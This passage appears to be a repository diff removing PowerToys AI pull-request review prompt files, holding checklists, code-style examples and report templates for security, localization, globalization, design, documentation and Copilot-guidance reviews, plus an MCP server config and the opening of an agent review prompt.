- [ ] Are random numbers cryptographically secure?
- [ ] Are keys of sufficient length?
- [ ] Is key derivation using proper KDFs?
## PowerToys-specific checks
- [ ] Do modules with elevated privileges minimize their scope?
- [ ] Are IPC messages validated before processing?
- [ ] Are hook callbacks resistant to malicious input?
- [ ] Are file preview handlers sandboxed appropriately?
- [ ] Are shell extensions checking caller identity?
- [ ] Is the GPO policy path secured?
## File template
```md
# Security Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific checks performed>
## Findings
```mcp-review-comment
{"file":"path/to/file.cs","start_line":123,"end_line":125,"severity":"high|medium|low|info","tags":["security","pr-{{pr_number}}"],"body":"Vulnerability → Attack scenario → Concrete fix."}
```
```
## Severity guidelines
- **High**: Remote code execution, privilege escalation, data breach possible
- **Medium**: Local exploit, information disclosure, weak crypto
- **Low**: Defense in depth improvement, hardening opportunity
- **Info**: Security best practice suggestions
## External references (MUST research)
Before completing this step, **fetch and analyze** these authoritative sources against the PR changes:
| Reference | URL | Check for |
| --- | --- | --- |
| OWASP Top 10 | https://owasp.org/www-project-top-ten/ | Top 10 vulnerability patterns |
| Microsoft SDL | https://www.microsoft.com/en-us/securityengineering/sdl | SDL practice violations |
| CWE Top 25 | https://cwe.mitre.org/top25/ | Common weakness patterns |
| .NET Security | https://docs.microsoft.com/en-us/dotnet/standard/security/ | .NET security best practices |
| Input Validation | https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html | Input validation patterns |
**Enforcement**: In the output file, include a `## References consulted` section with:
- Which OWASP Top 10 items were checked (by ID: A01-A10)
- Which CWE patterns were verified
- Any violations found with specific CWE/OWASP references

View File

@@ -1,105 +0,0 @@
# Step 06: Localization Review
**Goal**: Ensure all user-facing strings are properly externalized and localizable.
## Output file
`Generated Files/prReview/{{pr_number}}/06-localization.md`
## Checks to execute
### String externalization
- [ ] Are all user-facing strings in resource files (.resx/.resw)?
- [ ] Are no hardcoded strings in code for UI text?
- [ ] Are error messages externalized?
- [ ] Are tooltip texts externalized?
- [ ] Are log messages (user-visible) externalized?
### Resource file quality
- [ ] Do resource keys follow naming conventions?
- [ ] Are resource comments provided for translator context?
- [ ] Are pluralization rules handled correctly?
- [ ] Are format strings using numbered placeholders ({0}, {1})?
- [ ] Are resource strings free of concatenation that breaks translation?
### String formatting
- [ ] Are sentences not built by concatenating fragments?
- [ ] Can translated strings accommodate different word orders?
- [ ] Are format placeholders documented for translators?
- [ ] Are gender-neutral alternatives provided where needed?
### UI layout
- [ ] Can UI accommodate longer translated strings (30-40% expansion)?
- [ ] Are text containers using dynamic sizing?
- [ ] Are truncation/ellipsis handled gracefully?
- [ ] Are fixed-width elements avoided for text?
### Images and icons
- [ ] Are images with text localized or text-free?
- [ ] Are culturally neutral icons used?
- [ ] Are icon tooltips externalized?
### Dates, numbers, currencies
- [ ] Are dates formatted using culture-aware formatting?
- [ ] Are numbers formatted using culture settings?
- [ ] Are currencies handled with proper symbols and placement?
- [ ] Are measurement units localizable?
## PowerToys-specific checks
- [ ] Are new strings added to Resources.resx (C#) or .rc files (C++)?
- [ ] Are module names/descriptions localizable?
- [ ] Are Settings UI strings in the correct resource file?
- [ ] Are context menu strings externalized?
- [ ] Are notification messages localizable?
- [ ] Is the update changelog localizable?
## Common issues to flag
```csharp
// BAD: Hardcoded string
MessageBox.Show("Operation completed");
// GOOD: Resource string
MessageBox.Show(Resources.OperationCompleted);
// BAD: Concatenated sentence
string msg = "Found " + count + " items in " + folder;
// GOOD: Format string
string msg = string.Format(Resources.FoundItemsInFolder, count, folder);
```
## File template
```md
# Localization Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific checks performed>
## Findings
```mcp-review-comment
{"file":"path/to/file.cs","start_line":123,"end_line":125,"severity":"high|medium|low|info","tags":["localization","pr-{{pr_number}}"],"body":"Hardcoded string found → Why it matters → Move to resources."}
```
```
## Severity guidelines
- **High**: User-facing hardcoded strings, broken UI due to text length
- **Medium**: Missing translator comments, concatenated sentences
- **Low**: Minor localizability improvements
- **Info**: Best practice suggestions for future localization
## External references (MUST research)
Before completing this step, **fetch and analyze** these authoritative sources:
| Reference | URL | Check for |
| --- | --- | --- |
| .NET Localization | https://docs.microsoft.com/en-us/dotnet/core/extensions/localization | Resource file best practices |
| Microsoft Style Guide | https://docs.microsoft.com/en-us/style-guide/global-communications/ | Writing for translation |
| Pseudo-localization | https://docs.microsoft.com/en-us/globalization/methodology/pseudolocalization | Testing localizability |
**Enforcement**: Include `## References consulted` section with guidelines checked and violations found.

View File

@@ -1,117 +0,0 @@
# Step 07: Globalization Review
**Goal**: Ensure the code works correctly across different cultures, locales, and regional settings.
## Output file
`Generated Files/prReview/{{pr_number}}/07-globalization.md`
## Checks to execute
### Text handling
- [ ] Is Unicode fully supported (emojis, CJK, RTL)?
- [ ] Are string comparisons culture-aware where needed?
- [ ] Are string comparisons ordinal where culture doesn't matter?
- [ ] Is text encoding handled correctly (UTF-8 preferred)?
- [ ] Are file paths supporting Unicode characters?
### Right-to-left (RTL) support
- [ ] Is UI layout RTL-aware (FlowDirection)?
- [ ] Are icons/images mirrored appropriately for RTL?
- [ ] Is text alignment correct for RTL languages?
- [ ] Are bidirectional text scenarios handled?
### Date and time
- [ ] Is DateTimeOffset used for cross-timezone scenarios?
- [ ] Are time zones handled correctly?
- [ ] Is calendar system (Gregorian vs others) considered?
- [ ] Are 12/24 hour formats culture-dependent?
- [ ] Is week start day culture-aware?
### Numbers and currency
- [ ] Is decimal separator culture-aware (, vs .)?
- [ ] Is thousands separator culture-aware?
- [ ] Is number grouping culture-aware (1,000 vs 10,00)?
- [ ] Are currency symbols positioned correctly per culture?
- [ ] Is negative number format culture-aware?
### Sorting and comparison
- [ ] Is sorting culture-aware where appropriate?
- [ ] Are collation rules respected?
- [ ] Is case conversion culture-aware (Turkish i issue)?
- [ ] Are string equality checks appropriate (ordinal vs culture)?
### Input methods
- [ ] Does text input work with IME (Input Method Editor)?
- [ ] Are keyboard shortcuts working with non-US layouts?
- [ ] Is clipboard handling encoding-aware?
### File system
- [ ] Are file paths normalized for cross-platform?
- [ ] Is path separator handled correctly?
- [ ] Are invalid filename characters culture-considered?
## PowerToys-specific checks
- [ ] Does PowerToys Run work with CJK input?
- [ ] Are hotkeys working with international keyboard layouts?
- [ ] Is file search supporting Unicode filenames?
- [ ] Are preview handlers rendering RTL content correctly?
- [ ] Is the Settings UI RTL-aware?
## Common issues to flag
```csharp
// BAD: Culture-sensitive comparison for identifiers
if (str.ToLower() == "value")
// GOOD: Ordinal comparison for identifiers
if (str.Equals("value", StringComparison.OrdinalIgnoreCase))
// BAD: Implicit current culture
double.Parse(input)
// GOOD: Explicit culture for data
double.Parse(input, CultureInfo.InvariantCulture)
// BAD: Hardcoded date format
DateTime.ParseExact(s, "MM/dd/yyyy", null)
// GOOD: Culture-aware or ISO format
DateTime.Parse(s, CultureInfo.CurrentCulture)
```
## File template
```md
# Globalization Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific checks performed>
## Findings
```mcp-review-comment
{"file":"path/to/file.cs","start_line":123,"end_line":125,"severity":"high|medium|low|info","tags":["globalization","pr-{{pr_number}}"],"body":"Culture issue → Affected regions → Concrete fix with CultureInfo."}
```
```
## Severity guidelines
- **High**: Crashes/data corruption in non-US locales, RTL completely broken
- **Medium**: Incorrect formatting, sorting issues, IME problems
- **Low**: Minor globalization improvements
- **Info**: Best practice suggestions for international users
## External references (MUST research)
Before completing this step, **fetch and analyze** these authoritative sources:
| Reference | URL | Check for |
| --- | --- | --- |
| .NET Globalization | https://docs.microsoft.com/en-us/dotnet/core/extensions/globalization | CultureInfo best practices |
| Unicode Bidirectional | https://unicode.org/reports/tr9/ | RTL text handling |
| ICU Guidelines | https://unicode-org.github.io/icu/userguide/ | International text processing |
| Date/Time Formatting | https://docs.microsoft.com/en-us/dotnet/standard/base-types/standard-date-and-time-format-strings | Format string patterns |
**Enforcement**: Include `## References consulted` section with guidelines checked and violations found.

View File

@@ -1,111 +0,0 @@
# Step 08: Extensibility Review
**Goal**: Evaluate whether the code design supports future extension and customization without modification.
## Output file
`Generated Files/prReview/{{pr_number}}/08-extensibility.md`
## Checks to execute
### Plugin/module architecture
- [ ] Are extension points clearly defined?
- [ ] Is the plugin interface stable and versioned?
- [ ] Can plugins be added without recompiling core?
- [ ] Are plugin dependencies properly isolated?
- [ ] Is plugin discovery mechanism robust?
### Configuration extensibility
- [ ] Are magic numbers externalized to configuration?
- [ ] Are feature behaviors configurable?
- [ ] Can settings schema be extended without breaking changes?
- [ ] Are defaults sensible while allowing customization?
### Event-driven extensibility
- [ ] Are events exposed for key extension points?
- [ ] Is event subscribe/unsubscribe behavior balanced?
- [ ] Are events strongly-typed (not object-based)?
- [ ] Can event handlers be added externally?
### Template/strategy patterns
- [ ] Are algorithms pluggable via interfaces?
- [ ] Are formatting rules customizable?
- [ ] Are processing pipelines extensible?
- [ ] Can new types be added without modifying existing code?
### API design
- [ ] Are public APIs minimal but sufficient?
- [ ] Are extension methods used appropriately?
- [ ] Is internal implementation hidden from extensions?
- [ ] Are breaking changes to public API avoided?
### Data format extensibility
- [ ] Are data formats versioned?
- [ ] Can formats be extended with new fields?
- [ ] Are unknown fields ignored gracefully (forward compatibility)?
- [ ] Is schema validation flexible?
## PowerToys-specific checks
- [ ] Does the module interface support new capability flags?
- [ ] Can PowerToys Run plugins extend functionality?
- [ ] Are preview handlers pluggable for new file types?
- [ ] Can FancyZones layouts be user-defined?
- [ ] Is the Settings UI extensible for new modules?
- [ ] Can themes/styles be customized?
## Design patterns to look for
```csharp
// GOOD: Strategy pattern for extensibility
public interface ISearchProvider { ... }
public class FileSearchProvider : ISearchProvider { ... }
// GOOD: Event-based extension point
public event EventHandler<FileChangedEventArgs> FileChanged;
// GOOD: Factory pattern for pluggable creation
public interface IPreviewHandlerFactory { ... }
// BAD: Hard-coded switch on type
switch (fileType) {
case ".txt": ...
case ".pdf": ...
// Adding new type requires modifying this code
}
```
## File template
```md
# Extensibility Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific checks performed>
## Findings
```mcp-review-comment
{"file":"path/to/file.cs","start_line":123,"end_line":125,"severity":"high|medium|low|info","tags":["extensibility","pr-{{pr_number}}"],"body":"Extensibility concern → Impact on future development → Suggested pattern."}
```
```
## Severity guidelines
- **High**: Breaking change to plugin interface, extension point removed
- **Medium**: Missed extension opportunity, tight coupling introduced
- **Low**: Minor extensibility improvements possible
- **Info**: Design suggestions for better extensibility
## External references (MUST research)
Before completing this step, **fetch and analyze** these authoritative sources:
| Reference | URL | Check for |
| --- | --- | --- |
| Plugin Architecture | https://docs.microsoft.com/en-us/dotnet/core/tutorials/creating-app-with-plugin-support | Plugin loading patterns |
| Semantic Versioning | https://semver.org/ | Breaking change detection |
| PowerToys Module Interface | `doc/devdocs/modules/interface.md` | Contract compliance |
| Run Plugin API | `doc/devdocs/modules/launcher/plugins.md` | Plugin extension points |
**Enforcement**: Include `## References consulted` section with guidelines checked and violations found.

View File

@@ -1,128 +0,0 @@
# Step 09: SOLID Principles Review
**Goal**: Evaluate adherence to SOLID design principles for maintainable, testable code.
## Output file
`Generated Files/prReview/{{pr_number}}/09-solid-design.md`
## Checks to execute
### Single Responsibility Principle (SRP)
- [ ] Does each class have one reason to change?
- [ ] Are classes focused on a single concern?
- [ ] Are methods doing one thing well?
- [ ] Are "God classes" avoided (classes doing too much)?
- [ ] Is business logic separated from UI/infrastructure?
### Open/Closed Principle (OCP)
- [ ] Is code open for extension, closed for modification?
- [ ] Can behavior be extended without changing existing code?
- [ ] Are switch statements on types avoided (use polymorphism)?
- [ ] Are configuration changes preferred over code changes?
### Liskov Substitution Principle (LSP)
- [ ] Can derived classes substitute base classes without issues?
- [ ] Are virtual method contracts honored?
- [ ] Are preconditions not strengthened in subtypes?
- [ ] Are postconditions not weakened in subtypes?
- [ ] Are exceptions not thrown for inherited behaviors?
### Interface Segregation Principle (ISP)
- [ ] Are interfaces focused and cohesive?
- [ ] Are clients forced to depend on methods they don't use?
- [ ] Are fat interfaces split into smaller ones?
- [ ] Is "interface pollution" avoided?
### Dependency Inversion Principle (DIP)
- [ ] Do high-level modules depend on abstractions?
- [ ] Are dependencies injected, not created internally?
- [ ] Are concrete implementations hidden behind interfaces?
- [ ] Is dependency injection container used consistently?
## Additional design checks
### Coupling and cohesion
- [ ] Is coupling minimized between modules?
- [ ] Is cohesion maximized within modules?
- [ ] Are circular dependencies avoided?
- [ ] Are package/namespace dependencies sensible?
### Testability
- [ ] Are classes easily unit-testable?
- [ ] Are external dependencies mockable?
- [ ] Is static state minimized?
- [ ] Are seams available for test doubles?
### Code organization
- [ ] Is code organized by feature or layer appropriately?
- [ ] Are naming conventions followed?
- [ ] Are access modifiers appropriate (not over-exposing)?
- [ ] Is the public API surface minimal?
## PowerToys-specific patterns
```csharp
// GOOD: DIP in module interface
public class ColorPickerModule : IModule {
private readonly ISettingsReader _settings;
public ColorPickerModule(ISettingsReader settings) {
_settings = settings;
}
}
// BAD: Tight coupling to concrete implementation
public class ColorPickerModule : IModule {
private Settings _settings = new Settings(); // Hard to test
}
// GOOD: SRP - separate concerns
public class HotkeyManager { ... } // Manages hotkeys
public class ColorCapture { ... } // Captures colors
public class ClipboardService { ... } // Clipboard operations
// BAD: God class doing everything
public class ColorPicker {
void RegisterHotkey() { ... }
void CaptureScreen() { ... }
void CopyToClipboard() { ... }
void ShowUI() { ... }
void SaveSettings() { ... }
}
```
## File template
```md
# SOLID Design Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific SOLID checks performed>
## Findings
```mcp-review-comment
{"file":"path/to/file.cs","start_line":123,"end_line":125,"severity":"high|medium|low|info","tags":["solid-design","pr-{{pr_number}}"],"body":"SOLID violation → Principle affected → Refactoring suggestion."}
```
```
## Severity guidelines
- **High**: Major design violation making code unmaintainable/untestable
- **Medium**: Moderate coupling/cohesion issues, testing difficulties
- **Low**: Minor design improvements, polish opportunities
- **Info**: Design pattern suggestions, best practice recommendations
## External references (MUST research)
Before completing this step, **fetch and analyze** these authoritative sources:
| Reference | URL | Check for |
| --- | --- | --- |
| SOLID Principles | https://docs.microsoft.com/en-us/dotnet/architecture/modern-web-apps-azure/architectural-principles | SOLID violations |
| Clean Architecture | https://docs.microsoft.com/en-us/dotnet/architecture/modern-web-apps-azure/common-web-application-architectures | Architecture patterns |
| Dependency Injection | https://docs.microsoft.com/en-us/dotnet/core/extensions/dependency-injection | DI best practices |
| Design Patterns | https://refactoring.guru/design-patterns | Pattern applicability |
**Enforcement**: Include `## References consulted` section with specific SOLID principle checks and violations.

View File

@@ -1,124 +0,0 @@
# Step 10: Repository Patterns Review
**Goal**: Ensure changes follow established PowerToys repository conventions and patterns.
## Output file
`Generated Files/prReview/{{pr_number}}/10-repo-patterns.md`
## Checks to execute
### Code style compliance
- [ ] Does C# code follow src/.editorconfig rules?
- [ ] Does C++ code follow src/.clang-format?
- [ ] Is XAML formatted per XamlStyler settings?
- [ ] Are naming conventions followed (PascalCase, camelCase)?
### Project structure
- [ ] Are new files in the correct project/folder?
- [ ] Is the module structure consistent with existing modules?
- [ ] Are shared utilities in common libraries, not duplicated?
- [ ] Are test projects properly named (*UnitTests, *UITests)?
### Settings patterns
- [ ] Are settings defined in the module's settings.cs?
- [ ] Is the settings JSON schema following the pattern?
- [ ] Are settings exposed through Settings UI correctly?
- [ ] Is settings versioning/migration handled?
### Logging patterns
- [ ] Is spdlog used for C++ logging?
- [ ] Is Logger class used for C# logging?
- [ ] Are log levels appropriate (no spam in release)?
- [ ] Are sensitive values not logged?
- [ ] Is logging following repo guidelines?
### IPC patterns
- [ ] Is named pipe communication using established helpers?
- [ ] Are IPC message formats JSON with proper schema?
- [ ] Are IPC operations async and timeout-protected?
### Resource patterns
- [ ] Are resources in the correct .resx/.rc files?
- [ ] Is resource naming following conventions?
- [ ] Are PRI files configured correctly for WinUI?
### Build patterns
- [ ] Are project references used (not DLL references)?
- [ ] Are package versions from Directory.Packages.props?
- [ ] Is the project included in the solution correctly?
- [ ] Are build configurations consistent?
### Error handling patterns
- [ ] Are exceptions caught at appropriate boundaries?
- [ ] Is exception information logged properly?
- [ ] Are user-facing errors localized?
- [ ] Is graceful degradation preferred over crashing?
## PowerToys-specific patterns
```csharp
// Settings pattern
public class MyModuleSettings : BasePTModuleSettings {
[JsonPropertyName("is_enabled")]
public bool IsEnabled { get; set; } = true;
}
// Module interface pattern
public class MyModule : IModule {
public string Name => "MyModule";
public string GetKey() => "MyModule";
// ... implement interface
}
// Logging pattern (C#)
Logger.LogInfo("Operation completed");
Logger.LogError("Failed: {0}", ex.Message);
// Logging pattern (C++)
Logger::info("Operation completed");
Logger::error("Failed: {}", errorMsg);
```
## Files to reference
- Architecture: `doc/devdocs/core/architecture.md`
- Coding style: `doc/devdocs/development/style.md`
- Logging: `doc/devdocs/development/logging.md`
- Module interface: `doc/devdocs/modules/interface.md`
## File template
```md
# Repository Patterns Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific pattern checks performed>
## Findings
```mcp-review-comment
{"file":"path/to/file.cs","start_line":123,"end_line":125,"severity":"high|medium|low|info","tags":["repo-patterns","pr-{{pr_number}}"],"body":"Pattern deviation → Repo convention reference → How to fix."}
```
```
## Severity guidelines
- **High**: Major deviation from required patterns, will cause build/integration issues
- **Medium**: Pattern inconsistency, makes codebase harder to maintain
- **Low**: Minor style issues, naming improvements
- **Info**: Suggestions for better alignment with repo conventions
## External references (MUST research)
Before completing this step, **fetch and analyze** these local documentation files:
| Reference | Path | Check for |
| --- | --- | --- |
| Architecture | `doc/devdocs/core/architecture.md` | Module structure compliance |
| Coding Style | `doc/devdocs/development/style.md` | Style guide adherence |
| Logging Guidelines | `doc/devdocs/development/logging.md` | Logging pattern compliance |
| Module Interface | `doc/devdocs/modules/interface.md` | Interface contract |
| AGENTS.md | `AGENTS.md` | AI contributor guidelines |
**Enforcement**: Include `## References consulted` section with repo docs checked and deviations found.

View File

@@ -1,102 +0,0 @@
# Step 11: Documentation & Automation Review
**Goal**: Ensure documentation is updated and CI/automation changes are correct.
## Output file
`Generated Files/prReview/{{pr_number}}/11-docs-automation.md`
## Checks to execute
### Code documentation
- [ ] Are public APIs documented with XML comments?
- [ ] Are complex algorithms explained in comments?
- [ ] Are non-obvious implementation decisions documented?
- [ ] Are TODO comments actionable (with issue links)?
### README and user docs
- [ ] Is README updated for new features?
- [ ] Are user-facing docs updated in /doc?
- [ ] Are screenshots/GIFs updated if UI changed?
- [ ] Are keyboard shortcuts documented?
### Developer documentation
- [ ] Are architecture changes documented in devdocs?
- [ ] Are new modules documented in doc/devdocs/modules/?
- [ ] Are build instructions updated if needed?
- [ ] Are dependencies documented in NOTICE.md if added?
### API documentation
- [ ] Are breaking changes documented?
- [ ] Are new settings documented?
- [ ] Are GPO policies documented if added?
- [ ] Is DSC configuration documented if applicable?
### CI/CD changes
- [ ] Are pipeline changes tested and correct?
- [ ] Are build matrix updates appropriate?
- [ ] Are test configurations correct?
- [ ] Are deployment steps accurate?
### GitHub automation
- [ ] Are issue/PR templates updated if needed?
- [ ] Are labels appropriate for changes?
- [ ] Are workflow triggers correct?
- [ ] Are actions using pinned versions?
### Release documentation
- [ ] Is CHANGELOG impact clear from PR description?
- [ ] Are migration steps documented for breaking changes?
- [ ] Are known issues documented?
## PowerToys-specific documentation
- [ ] Is the Settings UI page documented for new features?
- [ ] Are hotkey defaults documented?
- [ ] Is integration with other modules documented?
- [ ] Are troubleshooting steps provided for complex features?
## File template
```md
# Documentation & Automation Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific documentation checks performed>
## Documentation coverage
| Area | Status | Notes |
|------|--------|-------|
| Code comments | ✅/⚠️/❌ | |
| README | ✅/⚠️/❌ | |
| User docs | ✅/⚠️/❌ | |
| Dev docs | ✅/⚠️/❌ | |
| CI/CD | ✅/⚠️/❌ | |
## Findings
```mcp-review-comment
{"file":"path/to/file.cs","start_line":123,"end_line":125,"severity":"high|medium|low|info","tags":["documentation","pr-{{pr_number}}"],"body":"Documentation gap → What's missing → Suggested content."}
```
```
## Severity guidelines
- **High**: Missing critical documentation, broken CI, undocumented breaking changes
- **Medium**: Incomplete documentation, outdated screenshots
- **Low**: Minor documentation improvements, typos
- **Info**: Documentation enhancement suggestions
## External references (MUST research)
Before completing this step, **fetch and analyze** these authoritative sources:
| Reference | URL | Check for |
| --- | --- | --- |
| Microsoft Writing Style | https://docs.microsoft.com/en-us/style-guide/ | Writing style compliance |
| XML Documentation | https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/xmldoc/ | XML doc tag usage |
| GitHub Actions | https://docs.github.com/en/actions/learn-github-actions | Workflow best practices |
| Azure Pipelines | https://docs.microsoft.com/en-us/azure/devops/pipelines/ | Pipeline patterns |
**Enforcement**: Include `## References consulted` section with documentation standards checked.

View File

@@ -1,133 +0,0 @@
# Step 12: Code Comments Review
**Goal**: Evaluate the quality and appropriateness of code comments.
## Output file
`Generated Files/prReview/{{pr_number}}/12-code-comments.md`
## Checks to execute
### Comment quality
- [ ] Do comments explain "why" not just "what"?
- [ ] Are comments accurate and up-to-date with code?
- [ ] Are comments concise and clear?
- [ ] Do comments add value beyond obvious code?
- [ ] Are comments free of redundant information?
### XML documentation (C#)
- [ ] Do public members have `<summary>` tags?
- [ ] Are `<param>` tags provided for parameters?
- [ ] Are `<returns>` tags provided for return values?
- [ ] Are `<exception>` tags documenting thrown exceptions?
- [ ] Are `<remarks>` used for additional context?
### Doxygen/comments (C++)
- [ ] Are public functions documented?
- [ ] Are complex macros documented?
- [ ] Are struct/class members documented?
- [ ] Are file headers present with copyright?
### TODO/FIXME comments
- [ ] Are TODOs actionable with clear description?
- [ ] Are TODOs linked to issues where appropriate?
- [ ] Are FIXMEs addressed or tracked?
- [ ] Are HACKs explained with justification?
### Region/section comments
- [ ] Are regions used appropriately (not excessively)?
- [ ] Do region names describe their content?
- [ ] Are large files organized with clear sections?
### Comment anti-patterns to flag
```csharp
// BAD: Obvious comment
i++; // Increment i
// BAD: Outdated comment (code does something else)
// Returns the sum of a and b
public int Subtract(int a, int b) => a - b;
// BAD: Commented-out code
// var oldImplementation = DoOldThing();
var newImplementation = DoNewThing();
// BAD: Vague TODO
// TODO: Fix this
// GOOD: Explains WHY
// We use a StringBuilder here because profiling showed
// string concatenation was a bottleneck with large file lists
var sb = new StringBuilder();
// GOOD: Actionable TODO
// TODO(#12345): Replace with async version when upgrading to .NET 8
// GOOD: Documents non-obvious behavior
// Win32 API returns -1 on error, not 0
if (result == -1) { ... }
```
### Special comment patterns
- [ ] Are license headers present where required?
- [ ] Are copyright notices correct?
- [ ] Are suppression comments (pragma) justified?
- [ ] Are platform-specific code blocks clearly marked?
## PowerToys-specific patterns
```csharp
// GOOD: Explains integration point
// The Runner calls this method when the hotkey is pressed.
// We must respond within 100ms to avoid the "not responding" UI.
public void OnHotkey() { ... }
// GOOD: Documents settings behavior
// This setting is persisted in JSON and synced with Settings UI.
// Changes require module restart to take effect.
[JsonPropertyName("activation_threshold")]
public int ActivationThreshold { get; set; }
```
## File template
```md
# Code Comments Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific comment checks performed>
## Comment quality summary
| Aspect | Assessment |
|--------|------------|
| Accuracy | ✅/⚠️/❌ |
| Completeness | ✅/⚠️/❌ |
| Clarity | ✅/⚠️/❌ |
| XML docs | ✅/⚠️/❌ |
## Findings
```mcp-review-comment
{"file":"path/to/file.cs","start_line":123,"end_line":125,"severity":"high|medium|low|info","tags":["code-comments","pr-{{pr_number}}"],"body":"Comment issue → Why it matters → Suggested fix."}
```
```
## Severity guidelines
- **High**: Misleading/incorrect comments, missing critical documentation
- **Medium**: Missing XML docs on public API, outdated comments
- **Low**: Minor comment improvements, clarity enhancements
- **Info**: Comment style suggestions
## External references (MUST research)
Before completing this step, **fetch and analyze** these authoritative sources:
| Reference | URL | Check for |
| --- | --- | --- |
| XML Documentation | https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/xmldoc/ | XML tag usage |
| Code Comments Guide | https://docs.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions#commenting-conventions | Comment conventions |
| Doxygen (C++) | https://www.doxygen.nl/manual/docblocks.html | C++ documentation |
**Enforcement**: Include `## References consulted` section with comment standards checked.

View File

@@ -1,129 +0,0 @@
# Step 13: Copilot Guidance Review (Conditional)
**Goal**: Review changes to Copilot/AI guidance files and ensure code changes align with existing guidance.
## When to run this step
- Run **only if** the PR contains changes to:
- `*copilot*.md` files
- `.github/prompts/*.md` files
- `.github/copilot-instructions.md`
- `.github/instructions/*.md` files
- `**/SKILL.md` files
- Agent/prompt configuration files
## Output file
`Generated Files/prReview/{{pr_number}}/13-copilot-guidance.md`
## Checks to execute
### Guidance file quality
- [ ] Is the prompt clear and unambiguous?
- [ ] Are instructions actionable and specific?
- [ ] Is the scope well-defined?
- [ ] Are examples provided where helpful?
- [ ] Is the guidance consistent with repo conventions?
### Prompt engineering best practices
- [ ] Is the goal stated clearly at the beginning?
- [ ] Are constraints and boundaries specified?
- [ ] Are output formats defined?
- [ ] Are edge cases addressed?
- [ ] Is the prompt tested with sample inputs?
### Consistency checks
- [ ] Is terminology consistent with other guidance files?
- [ ] Are file paths and references correct?
- [ ] Do applyTo patterns match intended files?
- [ ] Are referenced tools/scripts available?
### SKILL.md structure (if applicable)
- [ ] Is the skill name and description clear?
- [ ] Are prerequisites documented?
- [ ] Are usage examples provided?
- [ ] Is the expected output described?
- [ ] Are references properly linked?
### Code alignment with guidance
- [ ] Do code changes follow existing Copilot instructions?
- [ ] Are new patterns documented in guidance?
- [ ] Do changes require guidance updates?
- [ ] Are breaking changes to AI workflows documented?
## PowerToys-specific guidance checks
- [ ] Is guidance aligned with AGENTS.md?
- [ ] Are component-specific instructions referenced?
- [ ] Is build guidance accurate?
- [ ] Are test expectations documented?
- [ ] Is the guidance discoverable (proper location)?
## Common issues to flag
```markdown
# BAD: Vague instruction
Make sure the code is good.
# GOOD: Specific instruction
Ensure all public methods have XML documentation comments
including <summary>, <param>, and <returns> tags.
# BAD: Missing context
Use the Logger class.
# GOOD: With context
Use the Logger class from `src/common/logger/` for all logging.
Follow the patterns in doc/devdocs/development/logging.md.
# BAD: Hardcoded paths
Edit the file at C:\Users\dev\PowerToys\src\...
# GOOD: Relative/generic paths
Edit the file at src/modules/<module>/...
```
## File template
```md
# Copilot Guidance Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Guidance files changed
| File | Change type | Assessment |
|------|-------------|------------|
| path/to/file.md | Added/Modified | ✅/⚠️/❌ |
## Checks executed
- <List specific guidance checks performed>
## Findings
```mcp-review-comment
{"file":"path/to/guidance.md","start_line":10,"end_line":15,"severity":"high|medium|low|info","tags":["copilot-guidance","pr-{{pr_number}}"],"body":"Guidance issue → Impact on AI workflows → Suggested improvement."}
```
```
## Severity guidelines
- **High**: Incorrect guidance leading to wrong AI behavior, broken workflows
- **Medium**: Unclear instructions, missing important context
- **Low**: Minor clarity improvements, formatting
- **Info**: Enhancement suggestions for better AI assistance
## External references (MUST research)
Before completing this step, **fetch and analyze** these authoritative sources:
| Reference | URL | Check for |
| --- | --- | --- |
| Agent Skills Spec | https://agentskills.io/ | Skill format compliance |
| VS Code Custom Instructions | https://code.visualstudio.com/docs/copilot/customization | Instruction patterns |
| GitHub Copilot Extensions | https://docs.github.com/en/copilot/customizing-copilot | Customization best practices |
| Prompt Engineering | https://platform.openai.com/docs/guides/prompt-engineering | Prompt writing patterns |
**Enforcement**: Include `## References consulted` section with guidance standards checked.
## Related files
- `.github/copilot-instructions.md` - Main Copilot guidance
- `AGENTS.md` - AI contributor guide
- `.github/instructions/*.md` - Component-specific instructions
- `.github/prompts/*.md` - Task-specific prompts

View File

@@ -1,9 +0,0 @@
{
"mcpServers": {
"github-artifacts": {
"command": "cmd",
"args": ["/q", "/c", "for /f %i in ('git rev-parse --show-toplevel') do node %i/tools/mcp/github-artifacts/launch.js"],
"tools": ["*"]
}
}
}

View File

@@ -1,154 +0,0 @@
---
agent: 'agent'
description: 'Review exactly one PR - sequential steps, one output file per step'
---
# Review Pull Request
Review PR `{{pr_number}}`. Read/analyze only. Never modify code.
Execute the numbered phases below **in order**. Do not skip ahead.
---
## Phase 1 - Fetch PR data
```bash
